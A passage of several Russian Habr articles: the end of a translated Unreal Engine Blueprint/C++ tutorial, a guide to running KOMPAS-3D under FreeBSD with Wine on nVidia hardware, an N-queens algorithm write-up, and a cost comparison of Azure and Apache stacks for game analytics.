Super::PostEditChangeProperty(PropertyChangedEvent);
}
#endif
```
Заметьте, что метод *PostEditChangeProperty* расположен внутри директивы, которая указывает, работаем мы в редакторе или нет. Это сделано для того чтобы при билде, игра содержала только необходимый для неё код, без лишних строк, которые увеличивают размер исполняемого файла, без необходимости. Теперь, после перекомпиляции, значение *DamagePerSecond* будет соответствующим нашему ожиданию. Это указанно на картинки ниже.
Вызов C++ методов в Blueprint
-----------------------------
До сих пор мы изучали работу с переменными. Кроме этого требуется изучить еще одну важную базовую вещь, перед тем как более детально изучать движок. В процессе создания геймплея, пользователь должен иметь возможность вызывать в Blueprint функции созданные C++ программистом. Для начала давайте сделаем чтобы метод *CalculateValues()* можно было вызывать из Bluerpint.
```
UFUNCTION(BlueprintCallable, Category="Damage")
void CalculateValues();
```
Макрос *UFUNCTION()* содержит описание, каким образом наша С++ функция обрабатывается системой рефлексии. Опция *BlueprintCallable* указывает возможность обработки данного метода в виртуальной машине Blueprint'ов (далее *Blueprint VM*). Для того, чтобы контекстное меню (вызываемое правой кнопкой мыши) работало должным образом, каждый метод, вызов которого разрешен редактором, должен содержать имя категории. Изображение ниже показывает как именно категории отображаются в контекстном меню:
Как видите, метод может быть выбран в категории *Damage*. Blueprint-код ниже показывает, каким образом происходят изменения в значении *TotalDamage*, с последующим вызовом метода для пересчета зависимых значений.
Тут мы используем метод, описанный ранее, для пересчета зависимых свойств. Большая часть методов движка доступны для вызова из Blueprint, при помощи макроса *UFUNCTION()*, так чтобы разработчики могли создавать игры без написания С++ кода. Тем не менее, более грамотным подходом будет использования С++ для создания основных блоков геймплея и кода, чья производительность критична, а применение Blueprint для кастомизирования созданного поведения или конструирование нового, в основе которого лежит созданный код.
Теперь, когда наши пользователи могут вызывать ваш C++ код, рассмотрим еще один способ вызова C++ кода в Blueprint. Этот подход позволяет вызывать в С++-коде функции реализованные в Blueprint. Таким образом можно уведомить пользователя о событиях, на которые они могут реагировать тем образом, которым считают нужным. Часто это бывает создание эффектов или другие графические взаимодействия, как показ/сокрытие объектов. Фрагмент кода ниже содержит метод, который реализован в Blueprint:
```
UFUNCTION(BlueprintImplementableEvent, Category="Damage")
void CalledFromCpp();
```
Эта функция вызывается как и обычная С++-функция. UE генерирует основу реализации С++ функции для правильного вызова ее в *Blueprint VM*. Обычно мы называем это *Thunk*(Преобразователь). Если Blueprint не реализует тело функции, то её поведение представляет С++-функцию с пустым телом, которое ничего не делает. Что делать, если мы хотим обеспечить С++ реализацию по умолчанию и сделать возможным переопределения ее в Bluerpint. Макрос *UFUNCTION()* имеет опцию для этого случая. Фрагмент кода ниже показывает, какие изменения в заголовочном файле нужно сделать, чтобы добиться этого:
```
UFUNCTION(BlueprintNativeEvent, Category="Damage")
void CalledFromCpp();
```
Эта версия метода по-прежнему преобразует метод для его вызова в *Blueprint VM.* Каким образом мы должны обеспечить реализацию по умолчанию? Инструменты так же генерируют новое определение метода с постфиксом *\_Implementation()*. Мы должны представить вашу версию этого метода или ваш проект не будет слинкован. Вот реализация для указанного выше определения:
```
void AMyActor::CalledFromCpp_Implementation()
{
// Do something cool here
}
```
Теперь этот метод вызывается когда Blueprint не переопределяет его. На заметку: в будущих версиях билд инструментов автосгенерированное определение *\_Implementation()* будет убрано и его нужно будет явно добавлять в заголовок. В версии 4.7 автогенерация этого определения по-прежнему происходит.
Теперь вы изучили основы разработки геймплея и методы совместной работы с пользователями для создания более разнообразного геймплея. Пришло время вам выбрать ваши собственные приключения. Вы можете продолжить изучения разработки в следующих частях или вы можете ознакомиться с одним из примеров проектов, которые вы можете найти в лаунчере (стартовом экране), чтобы получить еще больше полезных навыков.
**Небольшие заметки:**1) Текста достаточно много, постарался проверить пару раз, уверен что есть какие-то ошибки. Если найдете, прошу писать ЛС, как только, так сразу поправлю. Это же касается ошибок перевода каких-то идиом или терминов.
2) Лично мне не очень нравится описания, где предложения с одинаковым смыслом повторяются по 3и раза, как будто вам вдалбливают что-то. Но не мне спорить с создателями документации, я думаю им виднее.
3) Если переводы будут востребованы сообществом, то не буду останавливаться на этих 4 частях, а по возможности буду переводить все базовые куски документации. | https://habr.com/ru/post/254931/ | null | ru | null |
# КОМПАС-3D под FreeBSD в среде Wine на видеокарте nVidia
Данный пост можно рассматривать как дополнение к ["КОМПАС-3D и Linux → Часть 1"](https://habr.com/en/company/ascon/blog/572196/)
Небольшое отступление.
К фрюхе я неравнодушен давно, года с 1996-го, но использовал её ранее только как серверную ОС. О том, что бы установить FreeBSD на рабочий ноутбук, как -то даже и мысли не возникало. Но времена меняются. С месяц назад я просто почувствовал, что пора... пора расстаться с этим недоразумением под названием Windows и накатил FreeBSD 13.0 на свой рабочий ASUS VX7. Почему не Linux ? Потому, что фрюха - это наше все! О том, как проходил процесс пуско-наладки FreeBSD на отдельно взятом ноутбуке можно написать не один пост, но сейчас вопрос не об этом.
Дело в том, что мне по долгу службы часто приходится иметь дело с 3D моделями, для этой цели пару лет назад была приобретена сетевая лицензия на КОМПАС-3D, а так же оформлена подписка на Fusion 360. После перехода на фрю, оба этих инструмента мне стали недоступны и я вынужден был использовать FreeCAD. К сожалению, приходится констатировать факт - FreeCAD урод от рождения, пользоваться им можно, но крайне тяжело. Это вынудило меня потратить некоторое время на поиски альтернативного решения, а именно - как заставить Fusion 360 или КОМПАС-3D работать под FreeBSD в среде Wine.
Несколько бессонных ночей ушло на то, что бы выяснить, что Wine под FreeBSD, по идеологическим соображениям, не может исполнять приложения [PE32](https://en.wikipedia.org/wiki/Portable_Executable) (смесь 32 и 64 битного кода), а Fusion оказался именно таким и другим уже не будет (т.е. чисто 32-х битной версии Fusion-а нет). К слову сказать, [Fusion 360 под Linux-ом прекрасно работает в среде Wine](https://github.com/cryinkfly/Fusion-360---Linux-Wine-Version-). Разочарованный таким положением дел я принялся изучать эту же тему с КОМПАСом и, не без удивления, обнаружил статью на Хабре с подробной инструкцией как запустить [КОМПАС-3D под Linux-ом](https://habr.com/en/company/ascon/blog/572196/). Проделав незатейливые манипуляции, выяснил, что КОМПАС таки работает под FreeBSD! Но есть один нюанс - видео карта nVidia GeForce GTX 560M в моём ноутбуке с которой Wine, по-умолчанию, не дружит. Выглядит это так: виндовое приложение (КОМПАС) запускается и даже делает вид что работает, но вместо 3D графики мы видим черное (серое) поле, т.е. 3D графика просто не рендерится. Отключение использования аппаратного ускорителя в настройках КОМПАСа не дало никакого эффекта. Сам факт того, что КОМПАС запускается меня воодушевил на дальнейшие поиски и это привело меня на форум разработчиков FreeBSD где обсуждается необходимость [патчить Wine добавлением 32-битных драйверов от проприетарного драйвера nVidia](https://forums.freebsd.org/threads/install-32bit-nvidia-driver-on-64bit-pc-bsd.26597/). Более того, монтейнеры порта **emulators/i386-wine** и **emulators/i386-wine-devel** добавили в него скрипт **files/nvidia.sh** который самостотельно находит проприетарный видео-драйвер и накатывает патч, после чего wine можно собирать и устанавливать и все будет как в сказке.
И так, инструкция по запуску КОМПАС-3D V20 под FreeBSD 13.0 в среде Wine32.
Прежде стоит отметить, что запускать будем только 32-х битную версию КОМПАС-3D, так как 64-х битная это все тот же PE32 и работать она не будет до тех пор, пока в порт Wine не вернут поддержку PE32. А значит, запускать будем под wine32 версии 6.12 (пакет **emulators/i386-wine-devel**).
1. Установить проприетарный видео драйвер от nVidia. В моем случае это порт **x11/nvidia-driver-390**:
```
# cd /usr/ports/x11/nvidia-driver-390
# make && make install
```
2. Добавить загрузку ядерных модулей драйвера, для чего в файл **/boo/loader.conf** добавить:
```
nvidia_load="YES"
nvidia-modset_load="YES"
```
3. Дать Xorg-у указание использовать проприетарный драйвер, для этого в **/etc/X11/xorg.conf** в секции **Device** указать ***"*nvidia*"*** как показано ниже:
```
EndSectionSection "Device"
Identifier "Device0"
Driver "nvidia"
VendorName "NVIDIA Corporation"
BusID "PCI:1:0:0"
EndSection
```
4. Убедиться в том, что драйвер загружен, а команда `glxinfo -В` выдает подобное:
```
$ glxinfo -B
name of display: :0.0
display: :0 screen: 0
direct rendering: Yes
Memory info (GL_NVX_gpu_memory_info):
Dedicated video memory: 3072 MB
Total available memory: 3072 MB
Currently available dedicated video memory: 2854 MB
OpenGL vendor string: NVIDIA Corporation
OpenGL renderer string: GeForce GTX 560M/PCIe/SSE2
OpenGL core profile version string: 4.5.0 NVIDIA 390.144
OpenGL core profile shading language version string: 4.50 NVIDIA
OpenGL core profile context flags: (none)
OpenGL core profile profile mask: core profile
OpenGL version string: 4.5.0 NVIDIA 390.144
OpenGL shading language version string: 4.50 NVIDIA
OpenGL context flags: (none)
OpenGL profile mask: (none)
OpenGL ES profile version string: OpenGL ES 3.2 NVIDIA 390.144
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.20
```
5. Пропатчить и установить Wine 32-х битный:
```
# cd /usr/ports/emulators/i386-wine-devel/
# sh files/nvidia.sh
===> Patching i386-wine to work with x11/nvidia-driver:
=> Detected i386-wine: 6.12,1
=> Detected nvidia-driver: 390.144
=> Extracting NVIDIA-FreeBSD-x86-390.144.tar.gz to /usr/local/lib32...
x libnvidia-glcore.so.1
x libnvidia-tls.so.1
x libGL.so.1
=> Cleaning up...
===> i386-wine-6.12,1 successfully patched for nvidia-driver-390.144
# make && make install
```
6. На сайте АСКОНа - разрабочика пакета КОМПАС-3D, по какой-то причине 32-х битная версия пакета не доступна, но указано, что любой желающий может получить её отправив запрос по электронной почте на [need\_32@ascon.ru](mailto:need_32@ascon.ru). Я написал запрос, отправил и ссылка пришла в ту же секунду - ответил робот.
7. Скачиваем инсталляшку размером 1.7 ГБ.
8. Пока инстлляшка КОМПАСа скачивается, займемся подготовкой среды Wine. Нам потребуется установить следующие пакеты: **dotnet472, d3dcompiler\_47, vcrun2015** и **corefonts** c помощью утилиты `winetricks`:
Установим саму утилиту winetricks:
```
$ sudo pkg install winetricks
```
Устанавливаем пакеты:
```
$ winetricks --force -q dotnet472 d3dcompiler_47 vcrun2015 corefonts
```
Замечание: все скачаные утилитой winetricks пакеты будут установлены к пользователю в домашний каталог в подкаталог `~/.wine`
9. Запускаем конфигуратор `winecfg` и указываем тип операционной системы по-умолчанию: **Windows 7**. В этой же утилите, по желанию, можно подкрутить размер системного шрифта для win32 приложений и прочие настройки.
10. Распаковываем скачанную инсталляшку. Cодержимое скачанного архива не содержит подкаталога, а значит команда `unzip` распакует вам десяток файлов в текущий каталог, что несколько "не айс". По этому имеет смысл создать временный каталог, скажем **compas\_install\_dir**, и распаковать инсталляшку в него.
11. Запускаем инсталлятор КОМПАС-а:
```
$ cd compas_install_dir
$ wine ./Setup.exe
```
и следуем его инструкциям.
После завершения инсталлятора, на рабочем столе (Desktop-е) появится иконка для запуска приложения. Если же по какой-то причине она не появилась, то КОМПАС можно запустить "от руки":
```
$ wine ~/.wine/drive_c/"Program Files/ASCON/KOMPAS-3D v20/Bin/KOMPAS.Exe"
```
Маловероятно, что найдутся желаюшие запускать КОМПАС-3D под FreeBSD, но все же я надеюсь, что данная инструкция будет кому-то полезной для запуска других виндовых приложений в среде Wine под FreeBSD на машинах с карточками nVidia.
 | https://habr.com/ru/post/578660/ | null | ru | null |
# Алгоритм нахождения 1000 ферзей на шахматной доске
Недавно разбирался в старых своих наработках/скриптах и наткнулся на скрипт где решалась задача о ферзях. Собственно это послужило написанию статьи о том как проходили этапы написания его алгоритма. Возможно пригодится начинающим программистам для решения похожих задач (код в примерах написан на java).
Вступление
----------
4 года назад была шумиха по поводу задачи о расположении 1000 ферзей на доске 1000х1000. Дело в том что расположение ферзей так чтобы они не `били` друг друга на доске является задачей с большим количество итераций и как результат долгой по времени выполнения. Как и многим мне захотелось проверить можно ли её решить за приемлемое время.
Изучение задачи
---------------
На картинке расположено 8 ферзей которые не пересекаются по горизонтальной, вертикальной или диагональным линиям.
Надо написать скрипт который будет расставлять на доске ферзей по таким правилам.
Алгоритм нахождения ферзей
--------------------------
Для поиска фигур была выбрана рекурсия.
Описание метода который вызывает сам себя:
* Если переданная клетка пересекается с другими фигурами то возвращаем `false`
* Если переданная клетка не пересекается ни с кем то:
+ устанавливает флаг на доске в `true` для этой позиции.
+ Если мы дошли до конца (нету следующего ряда) то возвращаем `true`.
+ Находит первую клетку в следующем ряду и вызывает сам себя с новой клеткой.
- Если вернулся `false` то отправляем следующую клетку из ряда или если не осталось клеток то возвращаем `false`) Предварительно ставим флаг в `false` на доске у клетки которую изначально получили.
- Если вернулся `true` то возвращаем результат.
Такой метод для досок 8x8, 32x32, 50x50 отрабатывает хоть как то. Но если больше то уходит много времени.
Оптимизация
-----------
Красным помечены клетки на которые нельзя ставить фигуру (они под ударом других ферзей).
На картинке можно заметить что количество свободных клеток у рядов разное.
Если начинать поиск с ряда у которого меньше всего свободных клеток то быстрее можно отсеивать тупиковые комбинации и выше вероятность пройти до конца.
В скрипте добавил два списка с свободными колонками и рядами.
Во время проверки из них генерируется список свободных клеток где ряды отсортированы по возрастанию. Поиск начинается с самого первого ряда.
Идея в том чтобы работать только с свободными клетками и начинать поиск с самого маленького ряда.
После этого результат можно было получить вплоть до 400x400.
Уменьшение возможных комбинаций
-------------------------------
Есть множество комбинаций как расположить ферзей на доске.
Это и есть самая главная сложность в задаче.
Но в данном случае нужно найти лишь одну правильную комбинацию.
Обратите внимание на картинку.
Часть ферзей можно расположить заранее на доску в соответствии с правилами.
Нужно лишь начать с второй клетки первого ряда и дальше добавлять новые фигуры по формуле "row+1" и "column+2" Этот алгоритм заполнит половину ферзей на доске, а дальше всё сделает скрипт оптимизации который будет находить ряды с наименьшим числом клеток и устанавливать там фигуры.
Поиск на доске 1000x1000 занял ~4 минуты (на процессоре: Intel Core i5-10400H CPU 2.60GHz).
Поиск на доске 1116x1116 занял ~6 минут.
[Сам скрипт можно найти тут](https://github.com/AlexandrShur/chess-q) | https://habr.com/ru/post/557846/ | null | ru | null |
# Собственная игровая аналитика за $300 в месяц
[](https://habrahabr.ru/post/351206/)
На рынке много продуктов, подходящих для игровой аналитики: Mixpanel, Localytics, Flurry, devtodev, deltaDNA, GameAnalytics. Но все же многие игровые студии строят свое решение.
Я работал и работаю со многими игровыми компаниями. Я заметил, что по мере роста проектов, в студиях появляется необходимость в продвинутых сценариях аналитики. После того, как несколько игровых компаний заинтересовались данным подходом, было решено задокументировать его в серии из двух статей.
Ответы на вопросы "Почему?", "Как это сделать?" и "Сколько это стоит?" вы найдете под катом.
Почему?
-------
Универсальный комбайн хорош для выполнения простых задач. Но если нужно сделать что-то посложнее, его возможностей не хватает. Например, вышеупомянутые системы аналитики, в разной мере, обладают ограничениями в функционале:
* на количество параметров в событии
* на количество параметров в событиях воронки
* на частоту обновления данных
* на объем данных
* на период расчета данных
* на количество условий воронки
* и другие ограничения в таком же роде
Готовые решения не дают доступ к сырым данным. Например, если нужно провести более детальное исследование. Нельзя забывать и про машинное обучение и предиктивную аналитику. При значительном объеме аналитических данных, можно поиграться со сценариями машинного обучения: предсказание поведения пользователя, рекомендация покупок, персональные предложения и т.д.
> Игровые студии часто строят собственные решения **не на замену, а в дополнение** к уже имеющимся.
Итак, как выглядит своя система аналитики?
Распространенный подход при построении аналитики — это [лямбда архитектура](https://en.wikipedia.org/wiki/Lambda_architecture), аналитика делится на "горячий" и "холодный" пути. По горячему пути идут данные, которые необходимо обработать с минимальной задержкой (количество игроков онлайн, платежи и т.д.).
По холодному пути идут данные, которые обрабатывают периодически (отчеты за день/месяц/год), а так же сырые данные для долгосрочного хранения.
[](https://github.com/PoisonousJohn/articles/raw/master/Custom_Analytics/custom-analytics-images/typical-lambda-arch.png)
Например, это полезно при запуске маркетинговых кампаний. Удобно видеть сколько юзеров пришло с кампаний, сколько из них совершили платеж. Это поможет отключить неэффективные каналы рекламы максимально быстро. Учитывая маркетинговые бюджеты игр — это может сэкономить много денег.
К холодному пути относится все остальное: периодические срезы, кастомные отчеты и т.д.
Недостаточная гибкость универсальной системы, как раз, и толкает к разработке собственного решения. По мере того, как игра развивается, необходимость в детальном анализе поведения пользователей возрастает. Ни одна универсальная система аналитики не сравнится с возможностью строить SQL запросы по данным.
Поэтому студии разрабатывают свои решения. Причем, решение, часто, затачивается под конкретный проект.
Студии, разработавшие свою систему, были недовольны тем, что ее приходилось постоянно поддерживать и оптимизировать. Ведь, если проектов много, или они очень большие, то количество собираемых данных растет очень быстро. Своя система начинает все больше тормозить и требовать значительных вкладов по оптимизации.
Как?
----
### **Технические риски**
Разработка системы аналитики — задача не из простых.
Ниже — пример требований от студии, на которые я ориентировался.
* Хранение большого объема данных: > 3Tb
* Высокая нагрузка на сервис: от 1000 событий в секунду
* Поддержка языка запросов (предпочтительно SQL)
* Обеспечение приемлемой скорости обработки запросов: < 10 min
* Обеспечение отказоустойчивости инфраструктуры
* Обеспечение средств визуализации данных
* Аггрегирование регулярных отчетов
Это — далеко не полный список.
Когда я прикидывал как сделать решение, я руководствовался следующими приоритетами/хотелками:
* быстро
* дешево
* надежно
* поддержка SQL
* возможность горизонтального масштабирования
* эффективная работа с минимум 3Tb данных, опять же масштабирование
* возможность обрабатывать данные real time
Так как активность в играх имеет периодический характер, то решение должно, в идеале, адаптироваться к пикам нагрузки. Например, во время фичеринга, нагрузка возрастает многократно.
Возьмем, например, Playerunknown's Battleground. Мы увидим четко-выраженные пики в течение дня.
[](https://github.com/PoisonousJohn/articles/raw/master/Custom_Analytics/custom-analytics-images/daily-peak.png)
Источник: [SteamDB](https://steamdb.info/app/578080/graphs/)
И если посмотреть на рост Daily Active Users (DAU) в течение года, то заметен довольно быстрый темп.
[](https://github.com/PoisonousJohn/articles/raw/master/Custom_Analytics/custom-analytics-images/year-growth.png)
Источник: [SteamDB](https://steamdb.info/app/578080/graphs/)
Не смотря на то, что игра — хит, похожие графики роста я видел и в обычных проектах. В течение месяца количество пользователей вырастало от 2 до 5 раз.
Нужно решение, которое легко масштабировать, но при этом не хочется платить за заранее зарезервированные мощности, а добавлять их, по мере роста нагрузки.
### **Решение на базе SQL**
Решение в лоб — это взять какую-либо SQL БД, направлять туда все данные в сыром виде. Из коробки решает проблему языка запросов.
Напрямую данные с игровых клиентов нельзя направлять в хранилище, поэтому нужен отдельный сервис, который будет заниматься буферизацией событий от клиентов и пересылкой их в БД.
В данной схеме аналитики должны напрямую слать запросы в БД, что чревато. Если запрос тяжелый, БД может встать. Поэтому нужна реплика БД чисто для аналитиков.
Пример архитектуры ниже.
[](https://github.com/PoisonousJohn/articles/raw/master/Custom_Analytics/custom-analytics-images/sql-approach-arch.png)
Такая архитектура обладает рядом недостатков:
* Про данные в реальном времени можно сразу забыть
* SQL — мощное средство, но данные ивентов часто не ложатся на реляционную схему, поэтому приходится выдумывать костыли, типа p0-p100500 параметров у событий
* Учитывая объем аналитических данных, собираемых в день, размер БД будет расти как на дрожжах, нужно партиционировать и т.д.
* Аналитик может родить запрос, который будет выполнятся несколько часов, а может даже день, тем самым заблокировав других юзеров. Не давать же каждому свою реплику БД?
* Если SQL on-prem, то нужно будет постоянно заботиться об отказоустойчивости, достаточном объеме свободного места и так далее. Если в облаке — может влететь в копеечку
### **Решение на базе Apache Stack**
Тут стек довольно большой: Hadoop, Spark, Hive, NiFi, Kafka, Storm, и т.д.
[](https://dzone.com/storage/temp/3361824-pipeline-2.png)
Источник: [dzone.com](https://dzone.com/articles/lambda-architecture-with-apache-spark)
Такая архитектура точно справится с любыми нагрузками и будет максимально гибкой. Это полноценное решение, которое позволит обрабатывать данные и в реальном времени, и строить зубодробительные запросы по холодным данным.
Но, на самом деле, указанные в требованиях нагрузки сложно назвать BigData, их можно посчитать на единственной ноде. Поэтому Hadoop-based решения — это явный перебор.
Можно начать со Spark Standalone, это выйдет значительно проще и дешевле.
Для приема и предобработки событий, я бы предпочел Apache NiFi вместо Spark.
Управление кластером может значительно упростить [Kubernetes на AKS](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes).
**Плюсы**:
* Максимально гибкое решение, обработчики данных можно писать как чистым кодом, так и использовать Spark SQL
* Open Source стэк, большое коммьюнити
* Хорошая масштабируемость, всегда можно перекинуть все на Hadoop
**Минусы**:
* Администрирование и поддержка инфраструктуры вручную, хотя и могут быть упрощены с помощью AKS
* Биллинг за виртуалки, не очень выгодно, если большую часть времени они простаивают
* Обеспечение отказоустойчивости решения — нелегкая задача, которой так же нужно заниматься самому
* Так как запросы пишутся кодом — не всем подойдет, все привыкли к SQL, код могут не осилить
### **Решение на базе облачной платформы**
#### Azure Event Hubs
Azure Event Hubs — простейший концентратор событий с высокой пропускной способностью. Из облачных платформ — наиболее подходящий вариант для приема больших объемов аналитики от клиентов.
**Плюсы**:
* Автомасштабирование
* Гарантированная надежность и отказоустойчивость
* Довольно низкая цена
**Минусы**:
* Скудные возможности по управлению событиями/очередями
* Нет встроенных механизмов отслеживания дубликатов сообщений
* Автомасштабирование только вверх
#### HDInsight
HDInsight — платформа, позволяющая разворачивать готовый к использованию Hadoop кластер, с определенными продуктами типа Spark. Можно откинуть сразу, так как он явный перебор для таких объемов данных, да и очень дорогой.
#### Azure Databricks
Azure Databricks — это такой Spark на стеройдах в облаке. [Databricks](https://databricks.com) — продукт от авторов Spark. Сравнение двух продуктов можно посмотреть [здесь](https://databricks.com/product/comparing-databricks-to-apache-spark). Из плюшек, которые лично мне понравились:
* Поддержка нескольких версий Spark'a
* Комплексное решение, может работать и со стримом событий
* Быстрее, чем vanilla Spark, за счет различных оптимизаций (data skipping, auto caching)
* Приятный web-интерфейс, заточенный под командную работу
+ Интерактивный блокноты с поддержкой SQL, Python, R, Scala
+ Реал-тайм коллаборация
+ Версионирование блокнотов, интеграция с github
+ Публикация блокнотов в качестве интерактивных дашбордов
* Встроенная поддержка облачных сторэджей
* Все плюшки облака:
+ Легкое масштабирование
+ Биллинг за кластер, но с автоскейлингом и авто-терминейтом
+ Система job'ов, создающая и убивающая кластер on-demand
**Плюсы**:
* Автомасштабирование
* Не нужно поддерживать инфраструктуру
* Удобные плюшки для аналитики в виде интерактивных Notebooks
* Гибкий поминутный биллинг за фактически используемое время вычислений
**Минусы**:
* Неудобный дебаг job'ов
* Отсутствие локального эмулятора для отладки job'ов
#### Azure Data Lake Analytics (ADLA)
Azure Data Lake Analytics — облачная платформа от Microsoft, которая во многом похожа на Databricks.
Биллинг примерно тот же, но немного более понятный, на мой взгляд. Здесь совсем нет понятия кластера, нет понятия ноды и ее размера. Есть абстрактный Analytics Unit (AU). Можно сказать, что 1 AU = часу работы одной абстрактной ноды.
Так как ADLA — продукт Microsoft, он лучше интегрирован в экосистему. Например, job'ы для ADLA можно писать как в портале Azure, так и в Visual Studio. Существует локальный эмулятор ADLA, можно отлаживать job'ы на своей машине перед запуском на больших данных. Поддерживается нормальный дебаг кастомного C# кода, с брейкпойнтами.
С параллелизации job'a подход немного другой, чем в databricks. Так как понятия кластера нет, при запуске job'a ты можешь указать количество выделенных AU. Таким образом ты сам можешь выбирать насколько job должен параллелиться.
Среди крутых фич — детальный план job'a. Показывает сколько и какие данные были обработаны, сколько заняла обработка на каждом этапе. Это мощный инструмент для оптимизации и отладки.
Основной язык job'ов — U-SQL. Что касается кастомного кода — тут выбора нет, только C#. Но многие видят в этом преимущество.
**Плюсы**:
* Масштабирование на уровне job'a
* Удобный U-SQL
* Хорошая интеграция с экосистемой Microsoft продуктов, включая сервисы Azure
* Удобная отладка job'ов на локальной машине
* Делатальные job планы
* Возможность работы через портал Azure
**Минусы**:
* Не может обрабатывать стрим событий, для этого нужно отдельное решение
* Нет инструментов интерактивной коллаборации, как в Azure Databricks
* Только один язык для кастомного кода
* Чтобы настроить процессинг данных по таймеру, нужны дополнительные инструменты
#### Azure Stream Analytics
Облачная платформа для обработки стрима событий. Довольно удобная штука. Из коробки имеет средства для отладки/тестирования прямо в портале. Разговаривает на диалекте T-SQL. Поддерживает разные виды окон для аггрегации. Умеет работать со многими источниками данных как на вход, так и на выход.
Не смотря на все плюсы вряд ли подойдет для чего-то сложного. Упретесь либо в производительность, либо в стоимость.
Функционал из-за которого его стоит рассмотреть — интеграция с PowerBI, что позволяет в пару кликов настроить real-time статистику.
**Плюсы:**
* Масштабирование
* Интеграция со всеми облачными сервисами из коробки
* Поддержка T-SQL
* Удобная отладка запросов
**Минусы:**
* Нельзя масштабировать без выключения job'a
* Отсутствуют средства для разведения job'a между prod / dev сценариями
* Высокая стоимость
* Плохая производительность при наличии тяжелых запросов вроде DISTINCT'a
### Гибридное решение
Никто не запрещает комбинировать облачные платформы и OSS решения. Например, вместо Apache Kafka / NiFi можно использовать Azure Event Hubs, если нет какой-то дополнительной логики по трансформации событий.
Для всего остального можно оставить Apache Spark, например.
### **Конкретные цифры**
С возможностями разобрались, теперь про цену. Ниже — пример расчета, который я делал для одной из студий.
Я использовал [Azure Pricing Calculator](https://azure.microsoft.com/en-us/pricing/calculator/) для расчета стоимости.
Рассчитывал цены для работы с холодными данными в регионе West Europe.
Для простоты, я считал только Compute мощности. Я не учитывал хранилище, так как его размер сильно зависит от конкретного проекта.
На данном этапе я включил в таблицу цены для систем буфферизации только для сравнения. Там указаны цены для минимальных кластеров/размеров, с которых можно начать.
#### Стоимость Apache Stack на голых VM
| Решение | Цена |
| --- | --- |
| Spark | $204 |
| Kafka | $219 |
| Total | $433 |
#### Стоимость платформенного решения на базе ADLA
| Решение | Цена |
| --- | --- |
| Azure Data Lake Analytics | $108 |
| Azure Event Hubs | $11 |
| Total | $119 |
#### Стоимость платформенного решения на базе Azure Databricks
| Решение | Цена |
| --- | --- |
| Azure Databriks | $292 |
| Azure Event Hubs | $11 |
| Total | $303 |
#### Подробнее по расчетам
#### **Kafka on Bare VMs**
Для того, чтобы обеспечить более-менее надежное решение, нужно как минимум 3 ноды:
`1 x Zookeeper (Standard A1) = $43.8 / month`
`2 x Kafka Nodes (Standard A2) = $175.2 / month`
`Total: $219`
Справедливости ради стоит заметить, что такая конфигурация Kafka потянет значительно большую пропускную способность, чем нужна в требованиях. Поэтому Kafka может быть выгоднее, если нужна более высокая пропускная способность.
#### **Spark on Bare VMs**
Я думаю, минимальная конфигурация о которой стоит говорить: 4 vCPU, 14GB RAM.
Из самых дешевых VM я выбрал Standard D3v2.
`1 x Standard D3v2 = $203.67 / month`
#### **Azure Databricks**
У Databricks есть два типа кластеров: Standard и Serverless (beta).
Standard кластер в Azure Databricks включает как минимум 2 ноды:
* Driver — хостит блокноты и обрабатывает запросы, связанные с ними, а так же является Spark Master'ом и поддерживает SparkContext.
* Worker — собственно, воркер, который процессит все запросы
Честно говоря, не знаю, что здесь понимается под serverless, но вот что я заметил про этот тип:
* Все равно выбираешь тип воркер нод, их количество (от и до)
* Serverless создает ноды прямо в подписке, в отдельной ресурс группе
* Auto terminate фича отсутствует
* Поддерживает только R/Python/SQL запросы.
* Включает минимум 2 ноды
Так же Databricks включает два тира, Premium имеет несколько своих фишек, вроде разграничение доступа по блокнотам. Но я считал минимальный Standard.
Считая в калькуляторе, я наткнулся на один интересный момент — Driver нода там отсутствует. Так как минимальный размер **любого** кластера, в итоге, 2 ноды, стоимость в калькуляторе не полная. Поэтому я посчитал ручками.
Сам Databricks биллится за DBU — вычислительные мощности. Каждый тип ноды имеет свой коэффициент DBU в час.
Для воркера я взял минимальный DSv2 (\$0.272 / час), он соответствует 0.75 DBU.
Для драйвера я взял самый дешевый инстанс F4 (\$0.227 / час), он соответствует 0.5 DBU.
```
DSv2 = ($0.272 + $0.2 * 0.75 DBU на ноду) * 730 ч = $308.06
F4 = ($0.227 + $0.2 * 0.75 DBU на ноду) * 730 ч = $275.21
Total: $583.27
```
Это расчет с учетом работы этого маленького кластера 24/7. Но на самом деле благодаря возможностям авто-терминейта, можно значительно снизить эту цифру. Минимальный idle-таймаут для кластера — 10 минут.
Если взять за аксиому, что с кластером работают 12 часов в день (полный рабочий день, с учетом плавающих часов), то стоимость уже будет `$583 * 0.5 = $291.5`.
Если же аналитики не утилизируют кластер 100% рабочего времени, то цифра может быть еще меньше.
##### **Azure Data Lake Analytics**
Цена в Европе \$2 за [Analytics Unit](https://blogs.msdn.microsoft.com/azuredatalake/2016/10/12/understanding-adl-analytics-unit/) в час.
Analytics Unit — по сути, одна нода. $2/час за ноду дороговато, но биллится это дело поминутно. Обычно Job занимает минимум минуту.
Если Job большой, то нужно больше AU чтобы его распараллелить.
Тут я понял, что пальцем в небо тыкать не очень хорошо. Поэтому предварительно провел небольшой тест. Я сгенерировал json файлы по 100 Мб, всего 1Гб, положил их в стор, запустил простой запрос в Azure Data Lake Analytics по аггрегации данных и посмотрел сколько времени займет обработка 1 Гб. У меня вышло 0.09 AU/h.
Теперь уже можно примерно посчитать сколько будет стоить обработка данных. Предположим, что в месяц у нас накапливается 600 Гб данных. Все эти данные мы должны как минимум 1 раз обработать.
`600 Гб * 0.09AU * $2 = $108`
Это довольно грубые расчеты минимальной конфигурации для аналитики.
### Краткие итоги
Решение на базе SQL базы не обладает достаточной гибкостью и производительностью.
Решение на базе Apache Stack — очень сильное и гибкое, хотя дороговато для обозначенных требований. Плюс требует поддержки кластера ручками. Это Open Source, поэтому vendor lock'a можно не бояться. Плюс ко всему Apache Stack может покрыть сразу две задачи сразу — обработка холодных и горячих данных, а это плюс.
Если вам не страшны трудности администрирования, то это — идеальное решение.
Если вы постоянно работаете с аналитикой, с большими объемами, то иметь свой кластер может быть более выгодным решением.
Среди облачных платформ существует несколько решений.
Для буфферизации событий — EventHub. При небольших объемах получается подешевле Kafka.
Для обработки холодных данных — два подходящих варианта:
* Azure Databricks (Preview) — классный инструмент с интерактивными блокнотами и встроенным Spark. Может обрабатывать как горячие, так и холодные данные. Не очень дорого, поддержка многих языков, автоуправление кластером, и еще много плюшек.
* Azure Data Lake Analytics — не имеет кластера, параллелизация на уровне job'ов, хорошая интеграция с Visual Studio, удобные стредства для отладки, поминутный биллинг
